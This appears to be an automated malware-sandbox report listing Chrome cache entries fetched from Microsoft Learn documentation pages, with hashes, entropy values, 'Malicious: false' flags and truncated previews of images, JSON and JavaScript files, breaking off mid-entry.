Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	downloaded
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-learn-challenge-2024.jpg
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33273), with no line terminators
Category:	downloaded
Size (bytes):	33273
Entropy (8bit):	4.918756013698695
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUukj:5hOEO8chkMet7pCjBfcHkWOzUukj
MD5:	86E84C732A96BF9CF18C99B48DB90B6D
SHA1:	6A8C212067CB9FE5B8325AE1E89FCA3E7FCF20FA
SHA-256:	B54678C5BFB00DC1AFBF2E52C56F8E10173975C25FB19062EFE5DC86F1B7D769
SHA-512:	AD91A78371074B5BB2105A9AE69664371C235B7C82DFD25C9ED17F435E92018F2A0DD42203F403D7A75DF4FC63966017519F118B2B22F0DE7656B2B155636AA2
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
